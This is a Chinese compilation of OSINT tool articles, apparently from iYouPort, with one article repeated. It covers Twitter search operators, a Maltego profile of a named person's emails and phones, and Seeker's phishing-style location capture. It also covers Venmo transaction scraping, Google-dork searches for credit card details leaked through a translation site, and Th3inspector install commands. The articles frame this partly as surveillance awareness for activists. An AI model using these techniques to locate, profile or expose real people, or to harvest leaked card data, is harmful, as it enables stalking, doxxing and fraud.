1、搜推文

love AND hate：包含“爱”和“恨”

love OR hate：“爱”或“狠”中的至少一个

-love：不包括“爱”

1. tgif：一个标签

“love hate”：完整的短语“爱恨”

url:google.com ：这个对于子域和域名非常有效，但对于长URL而言效果不太好，这取决于url。 Youtube ID 效果很好。

lang:en 搜索指定语种的推文

2、搜用户

from:user 由特定的用户 @username 发送，例如 “#space from：NASA”

to:user 回复特定的用户 @username

“＋@user” 提及特定的用户 @username，例如 “＋ @ NASA”

list:user/list-name 来自此列表的成员，例如 list:NASA/space-tweets

filter:verified 来自验证用户

3、地理搜索

near:city 在这个地方进行地理标记的内容

near:me 来自靠近你标记的地方

within:radius 在“near”运算符的特定半径内，可以使用 km 或 mi。例如 “fire near:san-francisco within:10km”

geocode:lat,long,radius 例如要获得在一个特定经纬度附近10公里内的推文，这样：geocode:37.7764685,-122.4172004,10km

place:96683cc9126741d1 按 Place Object ID 搜索推文

4、按时间搜索

since:yyyy-mm-dd 在指定日期或之后

until:yyyy-mm-dd 在指定日期或之前。与“since”运算符结合使用以框定一个时间范围

max_id:tweet_id 基于精确时间搜索的 Snowflake ID

min_id:tweet_id 不与 max_id 一起使用

5、交互

min_retweets:5 最低数量的转推

min_faves:10 最低数量的点赞

min_replies:100 自定义的回复数量

-min_retweets:500 转发量不超过“500”

-min_faves:1000 点赞量不超过“1000”

-min_replies:1000 回复数量不超过“1000”

6、媒体

filter:media 所有类型的媒体

filter:images 所有图片

filter:video 所有视频类型，包括原生 Twitter 视频和外部资源，如 Youtube

filter:periscope 来自 Periscope 的

filter:native_video 所有 Twitter 拥有的视频类型 (native video, vine, periscope)

filter:vine Vines (RIP)

filter:consumer_video 仅限 Twitter 原生视频

filter:pro_video 仅限 pro video

7、更多过滤器

filter:follows 仅限您关注的帐户

filter:links 仅包含特定的 URL

filter:mentions 包含 @mentions

filter:news 包含新闻故事的链接。与列表其他运算符结合使用可进一步缩小设置范围

filter:safe 排除不安全的内容

filter:hashtags 只包含特定标签的推文

8、其他

source:client_name 从指定的客户端发送的内容，例如 source：tweetdeck； twitter_ads 不能单独运行，但可以和其他运算符一起使用

card_domain:pscp.tv 在 Twitter卡中匹配网址；相当于 url:

card_name:audio 带有播放器卡的推文（链接到音频源，Spotify，Soundcloud 等）

card_name:animated_gif 带有动图的推文

card_name:app

card_name:summary_large_image

card_name:summary

9、示例

查询来自@Nasa的推文包含除图像之外的所有类型的媒体：

from:NASA filter:media -filter:images

查询提到“小狗”或“小猫”的推文，提到“甜蜜”或“可爱”，不包括转推，至少有10个点赞：

`(puppy OR kitten) AND (sweet OR cute) -filter:nativeretweets min_faves:10`

要查找任何引用推文，请搜索推文永久链接或带 `url`的推文ID，例如：

`https://twitter.com/NASA/status/1138631847783608321` 或者 `url:1138631847783608321`

那么，现在您可以知道下面这个搜索是什么意思了：

space (big OR large) list:nasa/astronauts (source:twitter_for_iphone OR source:twitter_web_client) filter:images since:2011–01–01 -#asteroid

「图」

「图」

Paste Site 搜索

Paste Site 是一种专门文本分享的网站。用户可以将一段文本性质的

内容（如代码）上传到网站，然后通过链接分享给其他用户。

其中知名的网站有早期的 PasteBin.com 和现在的 github.com。由于此类内容多为好友间分享，所以内容隐含的价值也相对较高。

在渗透测试、社交工程和开源情报的信息收集阶段，从 **Paste Site** 中搜集敏感信息是一种重要手段。

Inteltechniques 一直是用于这项工作的最佳选项；但是，现在他们已经把工具转到付费墙后面了。于是人们一直在努力寻找下一个免费的替代品。

现在确定了： NetBootCamp。就是这样：

「图」

「图」

Link: https://netbootcamp.org/pastesearch.html

自动挖文件数据的工具

该工具允许您从支持的文件中提取文本、元数据、选择器和图像。下表显示了不同文件扩展名的支持功能：

「图」

「图」

非常简单易用，只需上传或将文件拖入即可。这里是演示：

瑞士军刀 **Maltego**：针对特定人员的侦查利器

Maltego 是一种交互式数据挖掘工具，用于查找位于 Internet 上的各种来源的信息之间的关系；自动化和可视化。

这里介绍基本方法。

步骤 # 1：启动 Kali 并启动 Maltego

和惯常一样： Applications →Information Gathering →maltegoce，下面这样：

「图」

「图」

Maltego 是一个 Java 应用程序并且内存紧张，因此请尽可能多地提供内存。

步骤＃2登录您的 Maltego 帐户

如果还没有注册账户就先注册。

「图」

「图」

步骤＃3 Start a Machine

登录后，您将看到如下所示的“Start a Machine”屏幕。

现在你的目标是针对一个特定人的侦查；于是向下滚动，直到出现“人—电子邮件地址”，然后单击左侧的单选按钮。

「图」

「图」

步骤＃4选择目标

也就是你想要调查的人。这里的示例是被解雇的 Boris Epshteyn。

「图」

「图」

然后会看到如下屏幕。您可以指定要搜索的域名（例如 whitehouse.gov，gmail.com 或其他）之间添加空格以搜索所有。

现在，点击 Run！

「图」

「图」

步骤＃5 选择适当的电子邮件地址

现在，Maltego 将访问网络搜索与“Boris Epshteyn”名称相关的任何电子邮件地址。

如下所示，它收集了许多与该名称相关联的电子邮件地址。并非所有这些都与你的目标直接相关，但所有这些都将与名称相关联。

「图」

「图」

接下来选择想要使用哪些地址。本案例中继续选择使用所有这些。

当点击电子邮件列表底部的 Next 时，Maltego 开始生成所有电子邮件地址的关系图。可以在下面看到：

「图」

「图」

另外，可以转到标有“Entity Palette”的最左侧窗口。在那里可以找到 Maltego 搜索到的与目标人员相关的其他实体。

在此案例中继续点击“电话号码”，看看是否可以为这个神秘的 Epshteyn 先生找到一个匹配的电话号码。

「图」

「图」

步骤＃6 创建目标的关系图谱

这是最后一步，点击左上角的全屏符号，可以显示 Maltego 收集的有关目标人的所有信息。

记下为目标人显示的所有电子邮件地址和电话号码以及它们之间的链接。

「图」

「图」

你可以看到左侧面板上有多个选项，可以以不同格式显示信息。

建议每一种都试用一下，以便找到最合适的（最清晰）的显示方式。

结论

我们曾经介绍过 Maltego 在社交工程栏目中，它是进行开源数据挖掘的绝佳工具。

通过使用该工具，您可以将侦查工作自动化，以节省大把的时间，并避免了调查人员在错误的关系链中被绑住。

好啦，今天的内容就是这样。

⚠请注意：IYP 的“OSINT”栏目中提供的所有内容均可同时适用于进攻和防御。如果您不是进击者，也完全可以采用这些工具用于防御——了解到侦查者使用的手段，以提前做好反侦查工具。

惊讶不应该直到被捕才发生。防御措施是为避免被捕而准备的。〇 广告

原文

新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来 - iyouport

开源情报-每个人都可用的武器

【2019年12月10日存档】继续我们的不定期更新系列

如果您忘记了此前的内容，或者忘记了本栏目的来源，可以在这里回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《新生情报工具（4）：战术培训、狩猎推特、瑞士军刀—针对特定目标人的侦查利器》

来看看今天有什么好玩的东西。

使用社会工程准确定位智能手机

Seeker 背后的概念很简单，就像托管网页仿冒页面获取凭据那样，请求目标人的位置。

Seeker 使用 Serveo 生成链接，将它转发给目标；网站要求获得位置许可，如果目标允许，追踪者就可以获得：

- 经度
- 纬度
- 准确度
- 海拔（并非总是可用）
- 方向（仅在用户移动时可用）
- 速度（仅在用户移动时可用）

除了位置信息，追踪者还能获得没有任何权限的设备信息：

- 操作系统
- 平台
- CPU核心数
- RAM容量—近似结果
- 屏幕分辨率
- GPU信息
- 浏览器名称和版本
- 公共IP地址
- IP地址侦察

此工具是仅用于教育目的：显示恶意网站可以收集的有关您和您的设备的数据，以及您不应该点击随机链接并允许关键权限（如位置等）的原因。

像 Serveo 和 Ngrok 这样的服务在一些国家是被禁止的，所以如果在你的国家被禁止，你可能无法获得URL，如果没有，那么看这里：https://github.com/thewhiteh4t/seeker

还有一个视频演示：

头像中隐藏着什么？

社交网络头像中可能隐藏着重要的调查线索，在这里看到一个利用头像中隐藏的线索挖掘网络水军的演示《网络水军如何试图影响选举？一个调查案例，观察对选民的在线心理战》。

头像照片往往尺寸很小，难以看清其中的细节线索。我们也介绍过如何改变这点，见《别让社交媒体的自然模糊阻挡真相》。

一些初学者依旧感觉这样的方法有难度。幸运的是现在有了一个免费服务可以帮您轻松做到这点。

InstaDP 是一项免费服务，可让您以高分辨率的品质查看任何人的 Instagram 个人资料图片。你可以搜索任何帐户。

浏览 Instagram 时，个人资料图片很小，没有选项可以将其放大。该网站则允许您以原始大小放大个人资料图片。

它们还有iOS或Android版的应用程序 Qeek for Instagram。

网站的搜索栏可以让您搜索任何用户，即使您不知道确切的用户名。

在这里：https://www.instadp.com/

连锅端和避免连锅端的警告

社交媒体情报是个庞大的金矿；几乎所有目的的人都一直在从中挖掘着属于自己的宝物。从调查记者到政府间谍，从商业营销到社交工程，从私人侦探到威胁情报……

于是，相关技术工具可以说非常丰富，您可以在这里看到大部分关键工具《社交媒体情报和反情报基本工具手册》。

不幸的是，目前为止大多数人依旧感觉某些细节“不起眼/很平常”，于是公开“无所谓”。

请随时记得情报分析的思考方式：没有什么信息是不相关的。也许它们单独摆在那里时看起来很普通，但只要你把它们关联起来，就有可能牵出背后庞大的秘密。

所以，作为防御者，你必须小心，要非常小心。

⚠尤其是对于那些民间独立组织尚且没能充分使用开源情报技术的社会 —— 因为这意味着开源情报没能做为反击能力获得对权势操作的透明度，而是仅仅作为打压工具被政府用来抓捕异议人士了。

如今的行动者往往通过社交网络进行动员，这也许非常便捷；但是，这也会令您陷入被提前维稳的风险。

如果您不想要自己的计划被挫败，那就要从动员的最初做好各方面的防御。

我们介绍的情报挖掘工具都可以反用于防御 —— 让更多人看到技术能做到什么，追踪和抓捕以什么为线索，人们就能更为深刻地体会到该如何避免进入圈套。

随时提醒自己，我在监视者眼中是什么样的？

互粉很常见，但对于监视者来说：互粉意味着谁与谁存在强连接关系。

⚠这就是为什么我们要强调：如果是重要的联系人，切勿在任何社交

媒体上互粉。

否则您和您的团队有被连锅端的可能。

反过来，互粉也是追查政府宣传战网络的可靠参数之一。因为有组织的水军往往紧密相关、互相促进，很少有水军网络注重隐藏关系特征。

要挖掘这些关系，有两个工具可以帮您做到：第一个是 http://twiangulate.com/search/

它的网站很清楚无需过多解释。

另一个工具是： https://tweepdiff.com

Tweepdiff 可以用来比较（超过2个）Twitter 帐户，以找到其共同的追随者/关注对象—— 显然，“连锅端”的利器。

⚠再次重申，所有这些工具都在提醒安全意识；即便您不是战士，从来没有打算投入战斗，您一样可以通过尝试使用这些工具以获得安全防御的最佳判断。

当然我们希望您具有战斗精神，因为民间组织需要更多技术精英的支持。

元搜索引擎和关键字研究工具

我们介绍过什么是元搜索引擎，以及一些常规工具，见《如果你擅长搜索，你能找到一切》。

元搜索引擎又称集合型搜索引擎，将多个单一搜索引擎集成在一起，提供统一的检索界面，将用户的检索提问同时提交给多个独立的搜索引擎，同时检索多个数据库；并根据多个独立搜索引擎的检索结果进行二次加工，如对检索结果去重复、排序等。

您可以简单的理解为全网搜。

这里有一个相对强大的工具，而且非常简单易用，上面那个图是示例：https://soovle.com/

它可以自定义搜索查询，可拖动以保存、或者下载。在左上角看到选项。

如果您正在深挖信息，建议使用关键字及其各种可能的变体（包括不同语种）逐一查询。因为人们经常会使用变体以避免被搜索。

比如本文使用“开源情报”，而不是“OS**T”，这样就不会被搜索引擎捕捉到；但是如果搜索者使用中文关键字或者变体”OS**T”，这篇文章就会被捕获。

追踪资金往来

Venmo 是 PayPal 旗下的一个移动支付服务，让用户可以使用手机或网页转账给他人。

截至2018年6月，Venmo 已经拥有约2300万用户，仅2018年第二季度的交易总额就超过140亿美元。

⚠不幸的是，Venmo 非常不安全，因为它将所有交易公开给任何人可以通过未经身份验证的API实时查看。

而且默认情况下，用户个人资料也是公开的，这意味着任何人都可以在未登录应用的情况下查看用户的最近五笔交易。

可以轻松找到个人的电话号码，并可用于在开源情报调查中发现 Venmo 帐户信息。

于是就诞生了一个挖掘资金往来的工具。

Venemy（开源工具可在github上获得）可以抓取所有线索信息并生成情报报告。可以转换为图形分析的格式，以便与 Neo4j 等平台一起使用，实现深度挖掘。

你能想到它的用处非常广泛。⚠资金往来是最敏感的揭示性情报。

可以在这里看到 Venemy 的介绍视频：

搜索 **Telegram** 的工具

Evans 推荐了一个可搜索 Telegram 频道/群组/机器人的搜索引擎：Telegago。

现在它更新了，变得更好用：

- 结果更加丰富

- 可看到消息类别
- 优化的 Google dorks

Telegram 爱好者来试试看吧：https://cse.google.com/cse?q=+&cx=006368593537057042503:efxu7xprihg#gsc.tab=0&gsc.q=%20&gsc.page=1

间谍翻译（它是个警告⚠）

互联网打开了全世界沟通的大门，人们发现了跨文化交流的便捷和快速。但与此同时，语言问题也被突出出来了。

掌握多门外语的人毕竟是少数，于是技术公司紧急开发了简单易用的在线翻译工具，比如众所周知的谷歌、Bing、Yandex 这是仅举几例。

谷歌翻译允许您选择两种语言：掌握的语言和目标语言。

但是翻译工具实在是太多了，也可能非常不安全。比如 ‘cevirsozluk’。它的工作方式略有不同。

首先，您只能看到一个输入框。在您键入时，翻译会显示在框下方。

⚠您应该注意到页面底部显示的是其他用户搜索过的最新翻译。

所以呢？谁在乎是否有人想知道如何用法语说“蛋糕”？⚠如果用户不知道自己的秘密和敏感的翻译内容被索引了，那么情况就会变得更加严重。

更危险的是，使用**“Google dorks”**，可以找到此翻译网站的所有索引结果。

- 顺便回顾《攻防皆可用：GoogleDorking 高级运算符完整列表》

截至2009年8月23日，这里显示了大约有 2170000 个结果。而几个月前这个数字还不到200万，所以你能知道它正在迅速增加。

所以，现在这里的可能性无穷无尽。

你会发现人们翻译单个单词、基本短语，但也会发现 —— ⚠许多有趣的数据来自人们翻译他们的电子邮件！

你可以在上面的高级搜索中添加其他关键字。比如尝试像“信用卡”、“@ gmail.com”这样的关键词、以及 “确认”等等；你就会找到非常敏感的东西。

上面的图片显示有人正在翻译他们收到的包含信用卡详细信息的电子邮件。

⚠其中包含有完整的卡号、安全码（CVV）、到期日期、卡类型，甚至是其帐户的ID！⚠

这表明当人们没有意识到这些翻译被编入索引时会有多严重。

而另一种电子邮件翻译包括登录警报。这是非常常见的，现在站点会在有人从新的设备或位置登录时发送警告电子邮件给您。

这很危险吗？是的！

因为其中包括来自 Bittrex 这类网站的警告邮件，这是一个比特币交易平台。

由于用户点击了自动翻译，该邮件中包含的登陆IP抵制就泄漏了。

「图」

⚠切勿随意使用在线翻译！这非常重要。即便无法公开索引，翻译工具的提供者也能看到您输入的内容 —— 想象一下，如果敏感人士使用隐写术或者任何加密通信传递内容，而其中使用的信息并非母语；这种情况下如果接收者使用了翻译功能 …… 任何安全技术都保护不了你。

这里要展示的最后一个危险例子并不是来自电子邮的件，而是来自网站。

有人在网站注册了一个账户，网站自动显示已经发送了确认代码到用户的手机；而在这种情况下用户使用了翻译功能 —— 完整的电话号码就暴露了。

在这里看到电话号码有多危险《如果只知道一个电话号码，你能挖出多少有效信息？》。

请注意以上只是最简单的几个例子而已，在此索引中您能挖到很多神奇的东西，什么银行支付交易ID、PayPal交易等等，五花八门。

永远都会有新服务出现，人们往往很少会花时间先学习一下如何正确使用它们、以及它们可能揭示的关于你的数据都包括什么。

这种习惯本身非常危险！

⚠提醒所有人：小心上传任何内容，不论使用任何数字工具都应该非常谨慎。

如果您对此感兴趣，请关注本网下一篇文章：关于在线沙箱服务（恶意软件分析）如何变成了间谍的故事。小心！〇

—— 未完待续 ——

原文

新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来 - iYouPort

开源情报-每个人都可用的武器

继续我们的不定期更新系列

「图」

「图」

如果您忘记了此前的内容，或者忘记了本栏目的来源，可以在这里回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《新生情报工具（4）：战术培训、狩猎推特、瑞士军刀—针对特定目标人的侦查利器》

来看看今天有什么好玩的东西。

「图」

「图」

使用社会工程准确定位智能手机

Seeker 背后的概念很简单，就像托管网页仿冒页面获取凭据那样，请求目标人的位置。

Seeker 使用 Serveo 生成链接，将它转发给目标；网站要求获得位置许可，如果目标允许，追踪者就可以获得：

- 经度
- 纬度
- 准确度
- 海拔（并非总是可用）
- 方向（仅在用户移动时可用）
- 速度（仅在用户移动时可用）

除了位置信息，追踪者还能获得没有任何权限的设备信息：

- 操作系统
- 平台
- CPU核心数
- RAM容量—近似结果
- 屏幕分辨率
- GPU信息
- 浏览器名称和版本
- 公共IP地址
- IP地址侦察

此工具是仅用于教育目的：显示恶意网站可以收集的有关您和您的设备的数据，以及您不应该点击随机链接并允许关键权限（如位置等）的原因。

像 Serveo 和 Ngrok 这样的服务在一些国家是被禁止的，所以如果在你的国家被禁止，你可能无法获得URL，如果没有，那么看这里：https://github.com/thewhiteh4t/seeker

还有一个视频演示：

头像中隐藏着什么？

社交网络头像中可能隐藏着重要的调查线索，在这里看到一个利用头像中隐藏的线索挖掘网络水军的演示《网络水军如何试图影响选举？一个调查案例，观察对选民的在线心理战》。

头像照片往往尺寸很小，难以看清其中的细节线索。我们也介绍过如何改变这点，见《别让社交媒体的自然模糊阻挡真相》。

一些初学者依旧感觉这样的方法有难度。幸运的是现在有了一个免费服务可以帮您轻松做到这点。

InstaDP 是一项免费服务，可让您以高分辨率的品质查看任何人的

Instagram 个人资料图片。你可以搜索任何帐户。

浏览 Instagram 时，个人资料图片很小，没有选项可以将其放大。该网站则允许您以原始大小放大个人资料图片。

它们还有iOS或Android版的应用程序 Qeek for Instagram。

网站的搜索栏可以让您搜索任何用户，即使您不知道确切的用户名。

在这里：https://www.instadp.com/

「图」

「图」

连锅端和避免连锅端的警告

社交媒体情报是个庞大的金矿；几乎所有目的的人都一直在从中挖掘着属于自己的宝物。从调查记者到政府间谍，从商业营销到社交工程，从私人侦探到威胁情报……

于是，相关技术工具可以说非常丰富，您可以在这里看到大部分关键工具《社交媒体情报和反情报基本工具手册》。

不幸的是，目前为止大多数人依旧感觉某些细节“不起眼/很平常”，于是公开“无所谓”。

请随时记得情报分析的思考方式：没有什么信息是不相关的。也许它们单独摆在那里时看起来很普通，但只要你把它们关联起来，就有可能牵出背后庞大的秘密。

所以，作为防御者，你必须小心，要非常小心。

⚠尤其是对于那些民间独立组织尚且没能充分使用开源情报技术的社会 —— 因为这意味着开源情报没能做为反击能力获得对权势操作的透明度，而是仅仅作为打压工具被政府用来抓捕异议人士了。

如今的行动者往往通过社交网络进行动员，这也许非常便捷；但是，这也会令您陷入被提前维稳的风险。

如果您不想要自己的计划被挫败，那就要从动员的最初做好各方面的防御。

我们介绍的情报挖掘工具都可以反用于防御 —— 让更多人看到技术能做到什么，追踪和抓捕以什么为线索，人们就能更为深刻地体会到该如何避免进入圈套。

随时提醒自己，我在监视者眼中是什么样的？

互粉很常见，但对于监视者来说：互粉意味着谁与谁存在强连接关系。

⚠这就是为什么我们要强调：如果是重要的联系人，切勿在任何社交媒体上互粉。

否则您和您的团队有被连锅端的可能。

反过来，互粉也是追查政府宣传战网络的可靠参数之一。因为有组织的水军往往紧密相关、互相促进，很少有水军网络注重隐藏关系特征。

要挖掘这些关系，有两个工具可以帮您做到：第一个是 http://twiangulate.com/search/

它的网站很清楚无需过多解释。

另一个工具是： https://tweepdiff.com

Tweepdiff 可以用来比较（超过2个）Twitter 帐户，以找到其共同的追随者/关注对象—— 显然，“连锅端”的利器。

⚠再次重申，所有这些工具都在提醒安全意识；即便您不是战士，从来没有打算投入战斗，您一样可以通过尝试使用这些工具以获得安全防御的最佳判断。

当然我们希望您具有战斗精神，因为民间组织需要更多技术精英的支持。

「图」

「图」

元搜索引擎和关键字研究工具

我们介绍过什么是元搜索引擎，以及一些常规工具，见《如果你擅长

搜索，你能找到一切》。

元搜索引擎又称集合型搜索引擎，将多个单一搜索引擎集成在一起，提供统一的检索界面，将用户的检索提问同时提交给多个独立的搜索引擎，同时检索多个数据库；并根据多个独立搜索引擎的检索结果进行二次加工，如对检索结果去重复、排序等。

您可以简单的理解为全网搜。

这里有一个相对强大的工具，而且非常简单易用，上面那个图是示例：https://soovle.com/

它可以自定义搜索查询，可拖动以保存、或者下载。在左上角看到选项。

如果您正在深挖信息，建议使用关键字及其各种可能的变体（包括不同语种）逐一查询。因为人们经常会使用变体以避免被搜索。

比如本文使用“开源情报”，而不是“OS**T”，这样就不会被搜索引擎捕捉到；但是如果搜索者使用中文关键字或者变体”OS**T”，这篇文章就会被捕获。

「图」

「图」

追踪资金往来

Venmo 是 PayPal 旗下的一个移动支付服务，让用户可以使用手机或网页转账给他人。

截至2018年6月，Venmo 已经拥有约2300万用户，仅2018年第二季度的交易总额就超过140亿美元。

⚠不幸的是，Venmo 非常不安全，因为它将所有交易公开给任何人可以通过未经身份验证的API实时查看。

而且默认情况下，用户个人资料也是公开的，这意味着任何人都可以在未登录应用的情况下查看用户的最近五笔交易。

可以轻松找到个人的电话号码，并可用于在开源情报调查中发现 Venmo 帐户信息。

于是就诞生了一个挖掘资金往来的工具。

Venemy（开源工具可在github上获得）可以抓取所有线索信息并生成情报报告。可以转换为图形分析的格式，以便与 Neo4j 等平台一起使用，实现深度挖掘。

你能想到它的用处非常广泛。⚠资金往来是最敏感的揭示性情报。

可以在这里看到 Venemy 的介绍视频：

搜索 **Telegram** 的工具

Evans 推荐了一个可搜索 Telegram 频道/群组/机器人的搜索引擎：Telegago。

现在它更新了，变得更好用：

- 结果更加丰富
- 可看到消息类别
- 优化的 Google dorks

Telegram 爱好者来试试看吧：https://cse.google.com/cse?q＝＋&cx＝006368593537057042503:efxu7xprihg#gsc.tab＝0&gsc.q%20&gsc.page＝1

「图」

「图」

间谍翻译（它是个警告⚠）

互联网打开了全世界沟通的大门，人们发现了跨文化交流的便捷和快速。但与此同时，语言问题也被突出出来了。

掌握多门外语的人毕竟是少数，于是技术公司紧急开发了简单易用的在线翻译工具，比如众所周知的谷歌、Bing、Yandex 这是仅举几例。

谷歌翻译允许您选择两种语言：掌握的语言和目标语言。

但是翻译工具实在是太多了，也可能非常不安全。比如‘cevirsozluk’。它的工作方式略有不同。

首先，您只能看到一个输入框。在您键入时，翻译会显示在框下方。

「图」

「图」

⚠您应该注意到页面底部显示的是其他用户搜索过的最新翻译。

所以呢？谁在乎是否有人想知道如何用法语说“蛋糕”？⚠如果用户不知道自己的秘密和敏感的翻译内容被索引了，那么情况就会变得更加严重。

「图」

「图」

更危险的是，使用“**Google dorks**”，可以找到此翻译网站的所有索引结果。

- 顺便回顾《攻防皆可用：GoogleDorking 高级运算符完整列表》

截至2009年8月23日，这里显示了大约有 2170000 个结果。而几个月前这个数字还不到200万，所以你能知道它正在迅速增加。

所以，现在这里的可能性无穷无尽。

你会发现人们翻译单个单词、基本短语，但也会发现 —— ⚠许多有趣的数据来自人们翻译他们的电子邮件！

你可以在上面的高级搜索中添加其他关键字。比如尝试像“信用卡”、“@ gmail.com”这样的关键词、以及 “确认”等等；你就会找到非常敏感的东西。

「图」

「图」

上面的图片显示有人正在翻译他们收到的包含信用卡详细信息的电子邮件。

⚠其中包含有完整的卡号、安全码（CVV）、到期日期、卡类型，甚至是其帐户的ID！⚠

这表明当人们没有意识到这些翻译被编入索引时会有多严重。

「图」

「图」

而另一种电子邮件翻译包括登录警报。这是非常常见的，现在站点会在有人从新的设备或位置登录时发送警告电子邮件给您。

这很危险吗？是的！

因为其中包括来自 Bittrex 这类网站的警告邮件，这是一个比特币交易平台。

由于用户点击了自动翻译，该邮件中包含的登陆IP抵制就泄漏了。

「图」

「图」

⚠切勿随意使用在线翻译！这非常重要。即便无法公开索引，翻译工具的提供者也能看到您输入的内容 —— 想象一下，如果敏感人士使用隐写术或者任何加密通信传递内容，而其中使用的信息并非母语；这种情况下如果接收者使用了翻译功能 …… 任何安全技术都保护不了你。

这里要展示的最后一个危险例子并不是来自电子邮的件，而是来自网站。

有人在网站注册了一个账户，网站自动显示已经发送了确认代码到用户的手机；而在这种情况下用户使用了翻译功能 —— 完整的电话号码就暴露了。

在这里看到电话号码有多危险《如果只知道一个电话号码，你能挖出多少有效信息？》。

请注意以上只是最简单的几个例子而已，在此索引中您能挖到很多神奇的东西，什么银行支付交易ID、PayPal交易等等，五花八门。

永远都会有新服务出现，人们往往很少会花时间先学习一下如何正确使用它们、以及它们可能揭示的关于你的数据都包括什么。

这种习惯本身非常危险！

⚠提醒所有人：小心上传任何内容，不论使用任何数字工具都应该非常谨慎。

如果您对此感兴趣，请关注本网下一篇文章：关于在线沙箱服务（恶意软件分析）如何变成了间谍的故事。小心！〇

—— 未完待续 —— 广告

原文

新生情报工具（6）：广泛搜集、地理定位、我知道你的猫住在哪 - iyouport

开源情报-每个人都可用的武器

【2019年12月12日存档】继续我们的不定期更新系列

这里是“新生情报工具”第6部分内容。

如果您忘记了此前的内容，或者忘记了本栏目的来源，可以在这里回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《新生情报工具（4）：战术培训、狩猎推特、瑞士军刀—针对特定目标人的侦查利器》
- 《新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来》

来看看今天有什么好玩的东西。

Th3inspector

这是个相对比较知名的信息收集工具，现在有了更新版，速度更快了。

如果您还不了解这个工具，下面是一些简单的介绍；关于它能干什么，以及视频操作演示。

用法 ——

- 电话号码信息：-n （-number）

- 查找IP地址和电子邮件服务器：-mx（-mailserver）
- 域名Whois查询：-w （-whois）
- 查找网站/ IP地址位置：-l （-location）
- 域名年龄检查器：-a （-age）
- 用户代理信息：-ua（useragent）
- 信用卡 Bin Checker：-b（bin）
- 子域扫描程序：-s（-subdomain）
- 电子邮件地址检查：-e（-email）
- 内容管理系统检查：-cms（-cms）
- 显示帮助消息并退出：-h（-help）

示例 ——

- 列出所有基本选项和开关：

```
perl Th3inspector.pl -h
```

- 获取网站信息：

```
perl Th3inspector.pl -i example.com
```

- 获取电话号码信息：

```
perl Th3inspector.pl -n xxxxxxx
```

- 查找IP地址和电子邮件服务器：

```
perl Th3inspector.pl -mx example.com
```

- 查找网站或IP地址位置：

```
perl Th3inspector.pl -l example.com
```

安装 ——（ Linux）

```
git clone https://github.com/Moham3dRiahi/
Th3inspector.git

cd Th3inspector

chmod +x install.sh &amp;amp;&amp;amp; ./install.sh
```

（ Windows）

```
Download Perl

Download Th3inspector

cpan install JSON

Extract Th3inspector into Desktop

Open CMD and type the following commands:

cd Desktop/Th3inspector-master/

perl Th3inspector.pl
```

以下是视频演示：

快速地理定位的另一种方法：OSM overpass API

地理定位是检验信息真伪、追踪目标线索、以及了解更多背景信息的关键步骤。我们曾经介绍过多种地理定位的方法，以下是部分回顾；

- 《侦探挑战游戏：快速地理定位的两种方法》
- 《全球搜罗：用于信息验证的基本地理定位工具 》
- 《使用电影做侦探挑战演示：开源调查游戏》
- 《如何挖掘机器人水军的幕后推手？》
- 《“谷歌地图”是比詹姆斯邦德更棒的间谍》
- 《侦探挑战：间接证据和排除法》
- 《侦探挑战小游戏》
- 等等

本文将介绍另一种方法。

下面这两张照片是在哪里拍摄的？—— 要具体位置。

这两张照片都是来自荷兰电视台的剧照；它们都没有携带某种可以说明位置的细节，例如街道标志、地标、门牌号码等。

但是，通过简单的技术和 openstreetview 的使用，具体位置仍然是可验证的。下面来看看这件事怎么做。

寻找位置1：

视频中的介绍信息显示，照片2拍摄于照片1附近的村庄。

因此找到照片1的位置就可以了。为了找到位置，必须识别该照片中能起到定位作用的唯一元素。

照片1有几个独特的元素，即：# 桥梁

- 5个风车（用于发电）
- 运河
- 公路，有4个车道

1. 这里是在假设OSM数据库是准确、完整、正确和最新的

- 过程中必须准确定位特征

OSM 数据库并非在世界上任何地方都能准确或完整。它在荷兰的表现非常出色，但是在马里，就只有部分城市和几条街道。

此外，数据需要足够新，换句话说，数据集必须与照片相匹配。

特征列表是个很强大的功能；但您必须选择正确的特征，否则结论错误就不是工具本身的问题了。

在这里看到视频演示：

“我知道你的猫住在哪”

⚠请注意：这里的“猫”可以换成任何东西！—— 包括你的孩子。

你是晒娃爱好者、还是晒猫爱好者，或者晒任何东西的爱好者？

这个网站的存在既是警报器，也是对隐私权倡导者的敲打。

因为它之所以能存在，正是因为隐私权倡导者多年来关于自我保护的警告失败了 —— 依旧有太多人乐于在互联网上暴露自己最致命的部分。

> “如果你在社交媒体网站上启用了基于位置的服务 —— 你只是在邀请罪犯到你家” —— 塔斯卡卢萨警长办公室 Lt. Andy Norris

欢迎来到今天的互联网—您可以购买任何东西，每个网站都在跟踪您的一举一动，任何地方您都可以找到猫的视频和图像。

目前，在公共图像托管网站上有1500万个标有“猫”字样的图像，每天

还有数千个图像从地球上的任意位置上传上来。

iknowwhereyourcatlives.com 是一个数据可视化实验，它通过嵌入在元数据中的纬度和经度坐标，在世界地图上定位一百万只猫的公开图像样本。

该项目探讨了互联网的两种用途：一种是促进对驯化猫科动物的社交和幽默欣赏的共享；而另一种是，监视资本主义的现实。

构建：

HTML5, CSS3, Twitter Bootstrap 3, Javascript / jQuery, history.js, Google Map API, MarkerClustererPlus, MarkerWithLabel, PHP 5, MySQL, Apache, Python, SciPy K-means clustering

对于开源情报调查来说：如果你的追踪目标是个喜欢晒的人，你就有福了。

视频：

新的图谱搜索工具

Facebook 关闭其图谱搜索后，全球的开源情报社区开发者都在尽各种努力补救这一损失。

最近一些越南开发人员已经创建了一个新的 Facebook 搜索工具，实际上看起来效果很好，并以 JSON 格式返回查询。

旧的图谱搜索中采取的运算符，在这里基本都可以使用。

您需要构建的URL如下：

```
